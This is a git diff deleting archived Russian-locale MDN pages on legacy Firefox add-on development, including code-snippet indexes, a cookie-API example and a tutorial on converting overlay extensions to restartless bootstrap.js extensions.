Add-ons allow developers to extend and modify the functionality of Firefox.

- Связаться с нами
- Как связаться с нами в отношении этих политик или вашего дополнения. -
diff --git a/files/ru/mozilla/add-ons/code_snippets/index.html b/files/ru/mozilla/add-ons/code_snippets/index.html deleted file mode 100644 index d7e42cd381..0000000000 --- a/files/ru/mozilla/add-ons/code_snippets/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Code snippets -slug: Mozilla/Add-ons/Code_snippets -tags: - - Add-ons - - Code snippets - - Extensions - - NeedsTranslation - - TopicStub -translation_of: Archive/Add-ons/Code_snippets ---- -

 

- -
-

Дополнения с использованием методов, описанных в этом документе, считаются устаревшей технологией в Firefox. Не используйте эти методы для разработки новых дополнений. Используйте вместо этого WebExtensions. Если вы поддерживаете надстройку, которая использует описанные здесь методы, рассмотрите возможность переноса ее на использование WebExtensions.

- -

Начиная с Firefox 53, никакие новые устаревшие дополнения не будут приниматься addons.mozilla.org (AMO) для Firefox на ПК и Firefox для Android.

- -

Начиная с Firefox 57, только дополнения разработанные на основе WebExtensions API будут поддерживаться для Firefox на ПК и Firefox для Android.

- -

 Даже до Firefox 57 изменения, появляющиеся на платформе Firefox, нарушат многие устаревшие расширения. Эти изменения включают многопроцессорные Firefox (e10s), песочницу и несколько процессов контента. Устаревшие расширения, на которые влияют эти изменения, должны мигрировать, чтобы использовать API WebExtensions, если они могут. Дополнительную информацию см. в документе "Признаки совместимости".

- -

Страница wiki, содержащая ресурсы, пути миграции, рабочие часы и т.д., доступна, чтобы помочь разработчикам перейти на новые технологии.

-
- -

 

- -

This is a quick list of useful code snippets (small code samples) available for developers of extensions for the various Mozilla applications. Many of these samples can also be used in XULRunner applications, as well as in actual Mozilla code itself.

- -

These examples demonstrate how to accomplish basic tasks that might not be immediately obvious.

- -

General

- -
-
Examples and demos from MDN articles
-
A collection of examples and demos from articles.
-
Window code
-
Opening and manipulating windows
-
Toolbar
-
Toolbar related code
-
Sidebar
-
Sidebar related code
-
Forms
-
Forms related code
-
XML
-
Code used to parse, write, manipulate, etc. XML
-
File I/O
-
Code used to read, write and process files
-
Drag & Drop
-
Code used to setup and handle drag and drop events
-
Dialogs
-
Code used to display and process dialog boxes
-
Alerts and Notifications
-
Modal and non-modal ways to notify users
-
Preferences
-
Code used to read, write, and modify preferences
-
JS XPCOM
-
Code used to define and call XPCOM components in JavaScript
-
Running applications
-
Code used to run other applications
-
<canvas> related
-
WHAT WG Canvas-related code
-
Signing a XPI
-
How to sign an XPI with PKI
-
Delayed Execution
-
Performing background operations.
-
Miscellaneous
-
Miscellaneous useful code fragments
-
HTML to DOM
-
Using a hidden browser element to parse HTML to a window's DOM
-
- -

JavaScript libraries

- -

Here are some JavaScript libraries that may come in handy.

- -
-
StringView
-
A library that implements a StringView view for JavaScript typed arrays. This lets you access data in typed arrays using C-like string functions.
-
Rosetta
-
By default, the only possible standardized scripting language for HTML is ECMAScript. Hence, if you are going to use another scripting language you might expect that most of the browsers will not recognize it. Nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ECMAScript allow us, in theory, to build full virtual machines in pure ECMAScript. Therefore, it is also possible, in theory, to use ECMAScript for a smaller task: parsing exotic programming languages (i.e., creating compilers). This snippets shows a possible way to start from.
-
- -

Browser-oriented code

- -
-
Tabbed browser code (Firefox/SeaMonkey)
-
Basic operations, such as page loading, with the tabbed browser, which is the heart of Mozilla's browser applications
-
Cookies
-
Reading, writing, modifying, and removing cookies
-
Page Loading
-
Code used to load pages, reload pages, and listen for page loads
-
Interaction between privileged and non-privileged code
-
How to communicate from extensions to websites and vice-versa.
-
Downloading Files
-
Code to download files, images, and to monitor download progress
-
Password Manager
-
Code used to read and write passwords to/from the integrated password manager
-
Bookmarks
-
Code used to read and write bookmarks
-
JavaScript Debugger Service
-
Code used to interact with the JavaScript Debugger Service
-
- -

SVG

- -
-
General
-
General information and utilities
-
SVG Animation
-
Animate SVG using JavaScript and SMIL
-
SVG Interacting with Script
-
Using JavaScript and DOM events to create interactive SVG
-
Embedding SVG in HTML and XUL
-
Using SVG to enhance HTML or XUL based markup
-
- -

XUL Widgets

- -
-
HTML in XUL for Rich Tooltips
-
Dynamically embed HTML into a XUL element to attain markup in a tooltip
-
Label and description
-
Special uses and line breaking examples
-
Tree
-
Setup and manipulation of trees using XUL and JS
-
Scrollbar
-
Changing style of scrollbars. Applies to scrollbars in browser and iframe as well.
-
Autocomplete
-
Code used to enable form autocomplete in a browser
-
Boxes
-
Tips and tricks when using boxes as containers
-
Tabbox
-
Removing and manipulating tabs in a tabbox
-
- -

Windows-specific

- -
-
Finding Window Handles (HWND) (Firefox)
-
How to use Windows API calls to find various kinds of Mozilla window handles. Window handles can be used for IPC and Accessibility purposes.
-
Using the Windows Registry with XPCOM
-
How to read, write, modify, delete, enumerate, and watch registry keys and values.
-
- - - -

The content at MozillaZine Example Code is slowly being moved here, but you can still find useful examples there for now.

diff --git "a/files/ru/mozilla/add-ons/code_snippets/\320\272\321\203\320\272\320\270/index.html" "b/files/ru/mozilla/add-ons/code_snippets/\320\272\321\203\320\272\320\270/index.html" deleted file mode 100644 index 7a77657bdb..0000000000 --- "a/files/ru/mozilla/add-ons/code_snippets/\320\272\321\203\320\272\320\270/index.html" +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Cookies -slug: Mozilla/Add-ons/Code_snippets/куки -translation_of: Archive/Add-ons/Code_snippets/Cookies ---- -

Чтение существующих cookie

- -

Cookie для данного хоста, как объекты nsICookie2, могут быть пронумерированны так:

- -
let enum = Services.cookies.getCookiesFromHost("example.com");
-while (enum.hasMoreElements()) {
-  var cookie = e.getNext().QueryInterface(Ci.nsICookie2);
-  dump(cookie.host + ";" + cookie.name + "=" + cookie.value + "\n");
-}
-
- -

Все cookie, вне зависимости от хоста, могут быть пронумерированны с помощью Services.cookies.enumerator, а не getCookiesFromHost().

- - - -

Следующий код показывает как настроить cookie в Firefox.

- -
Services.cookies.add(".host.example.com", "/cookie-path", "cookie_name", "cookie_value", is_secure, is_http_only, is_session, expiry_date);
-
- -

Смотрите также

- - diff --git a/files/ru/mozilla/add-ons/firefox_for_android/index.html b/files/ru/mozilla/add-ons/firefox_for_android/index.html deleted file mode 100644 index a636438acb..0000000000 --- a/files/ru/mozilla/add-ons/firefox_for_android/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Устаревшие расширения для Firefox для Android -slug: Mozilla/Add-ons/Firefox_for_Android -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Add-ons/Legacy_Firefox_for_Android ---- -

Firefox для Android поддерживает надстройки, используя ту же систему расширения, что и все другие приложения на базе Gecko. Вы можете использовать SDK Add-on или создать вручную bootstrap-дополнения. Вы даже можете создавать традиционные перезагружаемые дополнения, хотя предпочтительны и другие два подхода.

- -

Дополнения, которые работают с настольным Firefox, не работают автоматически в Firefox для Android:

- - - -

Следующие статьи предоставляют помощь в разработке расширений для Firefox на Android. Кроме того, обратитесь к общей документации по расширениям, которая применяется ко всем приложениям Mozilla

- -
-
-

Учебники

- -
-
Прохождение
-
Разработка, упаковка и установка простого дополнения для Firefox для Android.
-
Прохождение Firefox Hub
-
Как разработать Firefox Hub add-on и добавить его в Firefox для Android (главная страница).
-
Add-on SDK
-
Как разрабатывать дополнения Firefox для Android с помощью Add-on SDK.
-
- -

Образец кода

- -
-
Фрагменты кода
-
Образцы кода для общих задач.
-
Инициализация и очистка
-
Как инициализировать ваше дополнение при его запуске и очистке при его закрытии.
-
Firefox для Android Add-ons в репозитории Github
-
Коллекция модулей JS, кода примера и плагинов-репозиториев, которые помогут вам создавать надстройки для Firefox для Android.
-
-
- -
-

Справка по API

- -
-
NativeWindow
-
Создайте собственные виджеты пользовательского интерфейса Android.
-
BrowserApp
-
Доступ к вкладкам браузера и веб-содержимому, которое они размещают.
-
Prompt.jsm
-
Вывод встроенного диалогового окна Android.
-
HelperApps.jsm
-
Запросить и запустить собственные приложения, установленные в системе.
-
Notifications.jsm
-
Использование внешних свойств уведомлений системы Android.
-
Home.jsm
-
Настройка домашней страницы.
-
HomeProvider.jsm
-
Сохранять данные для отображения на главной странице.
-
 
-
-
-
- -

 

- -
-
 
-
- -
-
 
-
- -
-
 
-
diff --git a/files/ru/mozilla/add-ons/how_to_convert_an_overlay_extension_to_restartless/index.html b/files/ru/mozilla/add-ons/how_to_convert_an_overlay_extension_to_restartless/index.html deleted file mode 100644 index ae42b11ad1..0000000000 --- a/files/ru/mozilla/add-ons/how_to_convert_an_overlay_extension_to_restartless/index.html +++ /dev/null @@ -1,395 +0,0 @@ ---- -title: How to convert an overlay extension to restartless -slug: Mozilla/Add-ons/How_to_convert_an_overlay_extension_to_restartless -translation_of: Archive/Add-ons/How_to_convert_an_overlay_extension_to_restartless ---- -
-

This article is a step-by-step tutorial on how to convert an old overlay-based extension into a restartless (bootstrapped) extension that is also extractionless.

-
- -

Requirements

- -

First off, what kind of add-on are we talking about here? Well, XUL overlays and windows, JSM files, chrome & resource mappings with localization, default preferences, but no XPCOM components of your own. Some of that will have to be replaced and the rest will need to be loaded differently.

- -

Next, what's the minimum version of Firefox we should require (preferably an ESR)? This guide targets Firefox 17 ESR or later (or anything else Gecko 17+, such as SeaMonkey 2.14+). This istwo ESRs back (as of this writing), which should be plenty. Using the current Firefox ESR, stable version, or Nightly is generally a better idea if given the option, but some users take forever to upgrade.

- -

There will be no usage of the Add-on SDK or any other external libraries here. Everything will use APIs available in Firefox 17+ or code provided here.

- -

Step 1: Use Services.jsm

- -

If you load one of Mozilla's internal JSM files, for example Services.jsm, you'll do so via privileged JavaScript code like this:

- -
Components.utils.import("resource://gre/modules/Services.jsm");
- -

From here on out, it is assumed you've imported Services.jsm somewhere at the top of whatever file you're in and will be using it in all code examples. The examples will also assume that you know how to properly add instructions to your add-on's chrome.manifest to add and remove resource, chrome, locale, & etc. mappings, so that you can access your files with custom paths such as:

- -
resource://myAddon/filename.ext
-chrome://myAddon/content/filename.ext
- -

Step 2: No more resource:// URIs for files internal to your bundle

- -

Unfortunately, resource mappings in your chrome.manifest are still not usable in restartless add-ons, which looks bad, but only because Mozilla is still using resource:// URIs internally and in examples. Resource mappings for files in the mozilla distribution, such as Services.jsm (above), will continue to work. In overlay extensions, you can place a resource mapping in the chrome.manifest for your add-on and load your own JSM from resource:// URIs. It's a great way to modularize your code that's been available since Firefox 3. You can use chrome:// URIs with "Components.utils.import()" just fine; in fact you've been able to since Firefox 4. However, because it was implemented first for only file:// and resource:// but not chrome://, everyone who learned of this new feature learned that you had to load JSM from resource:// URIs and just stuck with that forever. It does still work if you don't have restartlessness to worry about, though the protocol (or scheme, or whatever term you prefer) really should be avoided at this point. The resource:// protocol actually bleeds into content which allows webpages to detect installed add-ons using the protocol, which is not particularly fantastic (just the static file contents, not any loaded script/data).

- -

Step 2a: Load your JSM from chrome://

- -

Now with that preface out of the way, this part is easy: drop support for Firefox 3.x if you haven't already, move your JSM files to wherever you've got your chrome mapping to for your XUL overlay and/or windows, import your files from that new chrome mapped path instead of the old resource one, and remove your "resource" line from your chrome.manifest file. It's probably a good idea to do this even if you aren't going fully restartless / extractionless due to the previously mentioned exposure to content of resource mappings.

- -

Also, drop support for Firefox 4 through 9 while you're at it. Prior to Firefox 10, the chrome.manifest file you rely on wasn't loaded automatically for restartless add-ons. Hacks were required, and probably a bad idea.

- -

Step 2b: Audit any remaining resource:// URI usage internal to your extension

- -

If you don't need resource:// URIs for anything else, then you may be able to skip the next step. If not, see if you still can't do things any other way. As with JSMs, a chrome:// URI may be more appropriate. If you want to also make your add-on extractionless then you may need "step 3" if you're loading files with nsIFileInputStream or something similar, or a jar: URI might work. If not, a file:// URI might be fine for you. Restartless add-ons can easily get a URI for their install location on startup, so you should look into what you can do with that.

- -

Step 3: No more nsIFile access for files internal to your bundle

- -

For an extractionless extension, access to files internal to your bundle will not be possible using the nsIFile interface.

- -

If you need to read data, or otherwise access files within your bundle, there are two options. The first is to use the nsIZipReader interface which permits continuing to use nsIInputStreams, etc. The second is to re-code to use XMLHttpRequest.

- -

A file:// URI to the install location, or .xpi file, is available in installPath property of the bootstrap data structure passed to the startup(), shutdown(), install(), and uninstall() functions in what will be your bootstrap.js file (see below).

- -

How to get and load the data of of your add-on's files using the Add-on Manager API:

- -
// This is the OLD way of getting one of your files
-const myAddonID = ...;  // Just store a constant with your ID
-Components.utils.import("resource://gre/modules/AddonManager.jsm");
-AddonManager.getAddonByID(myAddonID,function(addon) {
-    var file = Services.io.newURI("resource://myAddon/filename.ext",null,null)
-                          .QueryInterface(Components.interfaces.nsIFileURL)
-                          .file;
-    var stream = Components.classes["@mozilla.org/network/file-input-stream;1"]
-                           .createInstance(Components.interfaces.nsIFileInputStream)
-                           .QueryInterface(Components.interfaces.nsISeekableStream);
-    stream.init(file, 0x01, 0444, 0);  // read-only, read by owner/group/others, normal behavior
-    /* do stuff */
-});
- -

This bit of code is paraphrased and probably not to be recommended as-is, but it should work. (note that the usage of an octal integer literal, while standard for handling permissions, is dangerous and deprecated; usage of use ES5 strict mode to disable this and other foot-guns is recommended) If you need to read/manipulate binary data, a nsIBinaryInputStream instance is what you'll use on that stream (e.g. 32-bit integers, or fun stuff like 48-bit integers). Not ideal, but it works and performs more than sufficiently well. All of that code above is no longer viable if you also go extractionless (which you should).

- -

Step 3a: Option 1: Use nsIZipReader

- -
let zipReader = Components.classes["@mozilla.org/libjar/zip-reader;1"]
-                          .createInstance(Components.interfaces.nsIZipReader);
-zipReader.open(addonData.installPath);
-...
-
- -

From there you can open nsIInputStreams, extract files, or perform some other functions. Worst case would be that you extract a file to a temporary location and then use nsIFile operations upon the extracted file.

- -

Step 3b: Option 2: Use XMLHttpRequest

- -

Now, how do we replace that? The answer to that question is to load your file from a chrome:// URI using XMLHttpRequest. You may now have another question: wait, what does this have to do with XML or HTTP? The answer to that question is, of course, nothing. XMLHttpRequest is an API created by Microsoft, adopted by Mozilla and other vendors, and hacked into a Swiss Army knife of file loading. You can use it in a web page to fetch a file from your server and you can use it in your add-on to fetch a local file from your installation. The name is a vestigial structure that just makes things confusing. It is nonetheless the "Correct" and best way to do things. It's available in the global for a window, but in JSM you'll need to fetch it from an interface:

- -
const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1",
-                                              "nsIXMLHttpRequest");
- -

Here's how to load a file using it:

- -
function loadFile(url,type,returnresult)
-{
-    var request = new XMLHttpRequest();
-    request.open("GET", url, true);  // async=true
-    request.responseType = type;
-    request.onerror = function(event) {
-        logErrorMessage("Error attempting to load: " + url);
-        returnresult(null);
-    };
-    request.onload = function(event) {
-        if (request.response)
-            returnresult(request.response);
-        else
-            request.onerror(event);
-    };
-    request.send();
-}
-loadFile("chrome://myAddon/content/filename.ext",dataType,function(data) {
-    /* do stuff with data */
-});
- -

Note: When using XMLHttpRequest to access a file:// URL the request.status is not properly set to 200 to indicate success. In such cases, request.readyState == 4, request.status == 0 and request.response will evaluate to true.

- -

If your file is text, use "text" as your data type. If you're getting JSON this way make sure to explicitly set the type as "text" if you intend to parse it yourself. Even though it says that the default type is "text", Firefox will attempt to autodetect and fail, resulting in an error message in the console. This doesn't seem to break anything, but it is easily avoidable by being explicit with the type. MDN says you can set the type to "json" instead, if you prefer to have it parse things for you.

- -

If your file is not text or JSON, then you're going to want to read binary data. The new way to do this is to use JavaScript typed arrays. Specify "arraybuffer" as your data type to get one from your XMLHttpRequest. To access that data you're going to need a data view to look at your typed array with. Data that's homogeneous might get away with using something like Uint32Array or one of the other standard typed array views, but it's probably a bad idea. The basic typed array views are not endian-safe. This is incredibly stupid. You'd think such an important new JavaScript feature made available for web content and chrome alike would at least have a way to set and keep track of endianness, but no, it doesn't. Don't use any of the basic typed arrays for any data you did not earlier write into them in the same program session. Also, they're not particularly helpful if your data isn't all of the exact same type (which it probably isn't).

- -

The solution to read arbitrary binary data, of various sizes, in an endian-safe way, is to use DataView. The other typed array stuff is viable in Firefox 4+. This wasn't added until Firefox 15. If you were using nsIBinaryInputStream or anything similar, figuring out DataView will be fairly straightforward. Just read the docs and it's pretty simple. It will probably be notably faster than whatever you were doing before.

- -

Reportedly XMLHttpRequest doesn't work reliably when used in JSM under versions of Firefox less than 16, however as previously mentioned, this guide should be taken as requiring Firefox 17+.

- -

Step 4: Manually handle default preferences

- -

Normal extensions load default preferences from a standardized file automatically. Restartless extensions don't (for no good reason). This part is fairly easy to implement yourself, at least. Here are some functions to handle this:

- -
function getGenericPref(branch,prefName)
-{
-    switch (branch.getPrefType(prefName))
-    {
-        default:
-        case 0:   return undefined;                      // PREF_INVALID
-        case 32:  return getUCharPref(prefName,branch);  // PREF_STRING
-        case 64:  return branch.getIntPref(prefName);    // PREF_INT
-        case 128: return branch.getBoolPref(prefName);   // PREF_BOOL
-    }
-}
-function setGenericPref(branch,prefName,prefValue)
-{
-    switch (typeof prefValue)
-    {
-      case "string":
-          setUCharPref(prefName,prefValue,branch);
-          return;
-      case "number":
-          branch.setIntPref(prefName,prefValue);
-          return;
-      case "boolean":
-          branch.setBoolPref(prefName,prefValue);
-          return;
-    }
-}
-function setDefaultPref(prefName,prefValue)
-{
-    var defaultBranch = Services.prefs.getDefaultBranch(null);
-    setGenericPref(defaultBranch,prefName,prefValue);
-}
-function getUCharPref(prefName,branch)  // Unicode getCharPref
-{
-    branch = branch ? branch : Services.prefs;
-    return branch.getComplexValue(prefName, Components.interfaces.nsISupportsString).data;
-}
-function setUCharPref(prefName,text,branch)  // Unicode setCharPref
-{
-    var string = Components.classes["@mozilla.org/supports-string;1"]
-                           .createInstance(Components.interfaces.nsISupportsString);
-    string.data = text;
-    branch = branch ? branch : Services.prefs;
-    branch.setComplexValue(prefName, Components.interfaces.nsISupportsString, string);
-}
- -

Just grab the above, move your default preferences file to your chrome mapping, and then do the following line once during your startup:

- -
Services.scriptloader.loadSubScript("chrome://myAddon/content/defaultprefs.js",
-                                    {pref:setDefaultPref} );
-
- -

That's it. Once you've got the machinery to load and save preferences without having to jump through the various pref type hoops the actual preferences API sends you through, loading the actual preferences file is one line. I'd generally still recommend using the type specific functions for each pref individually, but to load the defaults just use the generic functions above and it's quite simple. The other generic functions are provided above in case you need them. Unfortunately, the built in APIs for dealing with preferences are missing this basic stuff, and its plain text handling doesn't work with Unicode properly.

- -

Step 4a: Another way to handle default preferences

- -

If you want to keep your preference file in defaults/preferences/, the approach above only works as long as your extension is unpacked. For packed extensions (the default), you can either load a module similar to Firebug’s prefLoader.js or load this workaround module.

- -

Step 5: No more internal JAR files

- -

You know how I've been mentioning extractionless add-ons every once in a while thus far? Well, you should probably consider switching to be extractionless when you go restartless. An old-style add-on installer is packaged something like this:

- -
myAddon.xpi file (glorified ZIP)
-└─ chrome.manifest
-└─ install.rdf
-└─ chrome folder
-  └─ myAddon folder
-    └─ content.jar file
-      └─ content folder (most files go here)
-      └─ locale folder (your locale files go here)
- -

In versions of Firefox prior to 4.0 (Gecko 2.0), the XPI would be extracted into a folder in your profile's extensions folder. In current versions it stays unextracted as an XPI. If you were using input streams you already had to deal with this because they weren't an option without extraction. Opting-out to extractionlessness is done via the "unpack" flag in install.rdf.

- -

Why the internal JAR? Well, two reasons:

- -
    -
  1. Prior to extractionless add-ons, all of your files got extracted. Putting them in one single JAR file made all your stuff load in one file read, which was faster. Extractionless XPIs are bascially a standardization of this idea.
  2. -
  3. XPI files are glorified ZIPs, and ZIP compression is horrible. Doing anuncompressed internal JAR (aka, another ZIP) acts like a poor-man's solid archive and significantly boosts the overall compression ratio of the XPI, resulting in smaller installers and updates.
  4. -
- -

So, it's pretty much internal JARor extractionless XPI. Well, you can't use an internal JAR anymore. Firefox aggressively caches add-on data a bit too much. Your restartless add-on won't actually reload some types of files if they are in a JAR and the add-on is updated without a restart. The big culprits are JSM files and locale files (namely property files), though in some situations this is true for dynamically loaded image files too. You're still going to have to manually clear the chrome cache on add-on shutdown to work around this, but that doesn't seem to be enough with an internal JAR. So, time to switch to extractionless, too. See here for the list of stuff you can't have in addition to no resource:// URIs or file:// URIs to files inside your XPI.

- -

If you actually can't find a way to go fully extractionless, you could hack together some combination of internal JAR(s) and extracted files. It can be done. However, you really should go extractionless. Firefox profiles aren't the pristine environment they're supposed to be. Software that pretends to be designed to protect security or privacy that some users have installed will sometimes delete files. There have been plenty of reports of add-on franken-installs with files of two versions mixed together. This might be due to malware or a bug in Firefox. In any case, I have noticed a significant improvement in reliability by going fully extractionless. Installing and updating a single file is far more idiot-proof.

- -

Step 6: No more XUL overlays

- -

Ok, now we're getting into some more drastic changes. You won't be able to use your chrome.manifest to load XUL overlays anymore with a restartless add-on. You could look into dynamically loading and unloading your overlay, however dynamically manipulating the DOM of your XUL window is usually the more straightforward route.

- -

Figure out what XUL elements you need to create for your add-on to add your interface, where it needs to go into a XUL window, and how to do it. Docs: document.getElementByID(), document.createElement(), Element reference, Node reference (DOM elements are also nodes).

- -

You'll need to write two functions. One to take a XUL window object and then create and add your elements, and then another to find your elements and remove them from the window object. The former will need to be run on add-on startup and the later on add-on shutdown. Until you get your bootstrap.js running you should use a basic overlay onto the XUL window with an event listener for "load" to catch overlay load and then run your manual UI construction function.

- -

Step 6a. Details on adding elements dynamically to chrome XUL window

- -

There is a way that makes constructing of UI a lot similar to the way it was made with XUL overlay. It involves using firebug.sdk. The next is example of the code:

- -
var overlay =
-  TOOLBARBUTTON(toolbarButtonAttrs,
-    PANEL({'id': 'thepanel', 'type': 'arrow'},
-      HBOX({'align': 'start'},
-        VBOX(
-          HBOX({'class': 'pixel-hbox'},
-            DESCRIPTION({'value': this.stringBundle.GetStringFromName('firexPixel.opacity')}),
-            HTMLINPUT({'id': 'opacity-range', 'type': 'range', 'min': '0', 'max': '10'})
-          ),
-          HBOX({'id': 'pixel-coords', 'class': 'pixel-hbox'},
-            LABEL({'control': 'coord-x', 'value': 'X:'}),
-            TEXTBOX({'id': 'coord-x', 'class': 'coord-box', 'placeholder' : '0'}),
-            LABEL({'control': 'coord-y', 'value': 'Y:'}),
-            TEXTBOX({'id': 'coord-y', 'class': 'coord-box', 'placeholder': '0'})
-         ...
-
- -

That way you build elements hierarchy with not much interaction with DOM, plus you can see tag properties and it children in a nice, structured way, just like in overlay.xul. You can find working example here. It involves using of firebug.sdk xul.js with few modifications.

- -

Step 7: Manually handle global CSS Stylesheets

- -

Any Global CSS style sheets which you are using will need to be registered upon load and unregistered when your extension is unloaded. Any CSS files used in any of your own XUL files will function normally without any extra work needed.

- -
Components.utils.import("resource://gre/modules/Services.jsm");
-var styleSheets = ["chrome://myExtension/skin/myStyleSheet.css"];
-
-function startup(data,reason)
-{
-...
-    // Load stylesheets
-    let styleSheetService= Components.classes["@mozilla.org/content/style-sheet-service;1"]
-                                     .getService(Components.interfaces.nsIStyleSheetService);
-    for (let i=0,len=styleSheets.length;i<len;i++) {
-        let styleSheetURI = Services.io.newURI(styleSheets[i], null, null);
-        styleSheetService.loadAndRegisterSheet(styleSheetURI, styleSheetService.AUTHOR_SHEET);
-    }
-...
-}
-
-function shutdown(data,reason)
-{
-...
-    // Unload stylesheets
-    let styleSheetService = Components.classes["@mozilla.org/content/style-sheet-service;1"]
-                                      .getService(Components.interfaces.nsIStyleSheetService);
-    for (let i=0,len=styleSheets.length;i<len;i++) {
-        let styleSheetURI = Services.io.newURI(styleSheets[i], null, null);
-        if (styleSheetService.sheetRegistered(styleSheetURI, styleSheetService.AUTHOR_SHEET)) {
-            styleSheetService.unregisterSheet(styleSheetURI, styleSheetService.AUTHOR_SHEET);
-        }
-    }
-...
-
- -

Step 8: Window icons

- -

Firefox does not scan the chrome/icons/default directory of restartless or extrationless extensions for window icons.  If you are using custom window icons, they will need to be moved to %MozDir%/icons/default/ upon load of your extension.  Removal upon unload is not required, but you must be able to handle overwriting them upon load.  This is because your unload() will not always be called prior to an upgrade (e.g. upgrade might take place while the application is not running). Further, this is a generic location for icons and the icon may still be in use by a different profile.  Thus, you will probably want to use version numbers in the icon name (the ID of the window for which the icon exists).

- -

Step 9: bootstrap.js

- -

A bootstrap.js file in the root of your XPI, next to your chrome.manifest and install.rdf, will be the heart of your restartless add-on. Think of it as main.c, but for JavaScript based Firefox restartless add-ons. A basic bootstrap.js file:

- -
Components.utils.import("resource://gre/modules/Services.jsm");
-function startup(data,reason) {
-    Components.utils.import("chrome://myAddon/content/myModule.jsm");
-    myModule.startup();  // Do whatever initial startup stuff you need to do
-
-    forEachOpenWindow(loadIntoWindow);
-    Services.wm.addListener(WindowListener);
-}
-function shutdown(data,reason) {
-    if (reason == APP_SHUTDOWN)
-        return;
-
-    forEachOpenWindow(unloadFromWindow);
-    Services.wm.removeListener(WindowListener);
-
-    myModule.shutdown();  // Do whatever shutdown stuff you need to do on addon disable
-
-    Components.utils.unload("chrome://myAddon/content/myModule.jsm");  // Same URL as above
-
-    // HACK WARNING: The Addon Manager does not properly clear all addon related caches on update;
-    //               in order to fully update images and locales, their caches need clearing here
-    Services.obs.notifyObservers(null, "chrome-flush-caches", null);
-}
-function install(data,reason) { }
-function uninstall(data,reason) { }
-function loadIntoWindow(window) {
-/* call/move your UI construction function here */
-}
-function unloadFromWindow(window) {
-/* call/move your UI tear down function here */
-}
-function forEachOpenWindow(todo)  // Apply a function to all open browser windows
-{
-    var windows = Services.wm.getEnumerator("navigator:browser");
-    while (windows.hasMoreElements())
-        todo(windows.getNext().QueryInterface(Components.interfaces.nsIDOMWindow));
-}
-var WindowListener =
-{
-    onOpenWindow: function(xulWindow)
-    {
-        var window = xulWindow.QueryInterface(Components.interfaces.nsIInterfaceRequestor)
-                              .getInterface(Components.interfaces.nsIDOMWindow);
-        function onWindowLoad()
-        {
-            window.removeEventListener("load",onWindowLoad);
-            if (window.document.documentElement.getAttribute("windowtype") == "navigator:browser")
-                loadIntoWindow(window);
-        }
-        window.addEventListener("load",onWindowLoad);
-    },
-    onCloseWindow: function(xulWindow) { },
-    onWindowTitleChange: function(xulWindow, newTitle) { }
-};
-
- -

As mentioned above, Components.utils.unload() will not work properly if the JSM file it is unloading is in a JAR. Also make sure to only unload your own JSM files to avoid accidentally breaking things horribly.

- -

For tearing down and cleaning up on a per-window basis, there is another route you can take. Instead of directly calling your tear down function, make your unloadFromWindow() something like this:

- -
function unloadFromWindow(window)
-{
-    var event = window.document.createEvent("Event");
-    event.initEvent("myAddonName-unload",false,false);
-    window.dispatchEvent(event);
-}
-
- -

In each window you can then register on startup to listen for your custom "myAddonName-unload" event and just tear down and clean up when that event or a regular "unload" event comes in.

- -

Step 10: Bypass cache when loading properties files

- -

The above will get you a working add-on that will install without a Firefox restart. It will even get you a working add-on that will update without a Firefox restart... usually. Some parts work only if you don't look too closely; localization is one of them. As mentioned in the previous section, you'll need to clear the chrome caches on add-on shutdown, namely for chrome images and properties files. Doing this will get an update's new properties file to load, however sometimes this will instead produce an error on the next property access. It just doesn't seem that it can reliably clear the cache correctly, for whatever reason. String changes seem to be fine, however the addition or removal of strings cansometimes produce this error. It's not reliably reproducible, but it does happen.Yes, this is a pain in the ass.

- -

The suggestion that seems to work is to use a hack to bypass the string bundle cache. You should still be caching a reference to your string bundle on add-on startup, preferably using XPCOMUtils.jsm to lazily load the file. For example:

- -
Components.utils.import("resource://gre/modules/Services.jsm");
-Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
-XPCOMUtils.defineLazyGetter(this, "strings", function() {
-    return loadPropertiesFile("chrome://myAddon/locale/mystrings.properties");
-});
-function loadPropertiesFile(path)
-{
-    /* HACK: The string bundle cache is cleared on addon shutdown, however it doesn't appear to do so reliably.
-       Errors can erratically happen on next load of the same file in certain instances. (at minimum, when strings are added/removed)
-       The apparently accepted solution to reliably load new versions is to always create bundles with a unique URL so as to bypass the cache.
-       This is accomplished by passing a random number in a parameter after a '?'. (this random ID is otherwise ignored)
-       The loaded string bundle is still cached on startup and should still be cleared out of the cache on addon shutdown.
-       This just bypasses the built-in cache for repeated loads of the same path so that a newly installed update loads cleanly. */
-    return Services.strings.createBundle(path + "?" + Math.random());
-}
-
- -

Just do strings.GetStringFromName(stringID) as you normally would. The lazy getter magic will cause the file to be automatically loaded the first time it is needed, after which point a reference to the loaded string bundle will be stored in "strings" for future accesses. You still need to clear the cache on add-on shutdown, however it will now also load cleanly on add-on updates. The old file should still be cleared.

- -

Put it all together

- -

That should be all the pieces. Your chrome.manifest will have just chrome and locale (and possibly skin) mappings in it now. No resource mappings or chrome overlays. The new entry point for your add-on is via bootstrap.js:startup() rather than a "load" handler in a XUL overlay.

- -

Your localization handling should be unaffected by your transition to a restartless/extractionless add-on so long as you properly clear the chrome cache on add-on shutdown and load your properties files using the method listed above. Your property files and DTD files loaded from chrome:// URIs should work just as before. This is all assuming a minimum version of Firefox 17+ (or other Gecko 17+ application) which you should remember to state explicitly in your install.rdf.

- -

Just remember that whatever you start you also need to have the ability to undo. In order for your add-on to reliably update without a restart it needs to be able to shutdown/disable cleanly.

- -

Also note that once you do get this all up and running, your users will still have to restart Firefox once to install your first restartless update. While your new add-on may not need a restart to install, if you're updating from an old version that is not restartless then it will need a restart touninstall that first.

- -
-

This tutorial was originally written by Dave Garrett from his experience porting the Flagfox extension.

-
- -

Further reading

- - diff --git a/files/ru/mozilla/add-ons/overlay_extensions/index.html b/files/ru/mozilla/add-ons/overlay_extensions/index.html deleted file mode 100644 index ceac592b8d..0000000000 --- a/files/ru/mozilla/add-ons/overlay_extensions/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Overlay extensions -slug: Mozilla/Add-ons/Overlay_Extensions -tags: - - Add-ons - - Extensions - - Landing - - NeedsTranslation - - TopicStub -translation_of: Archive/Add-ons/Overlay_Extensions ---- -

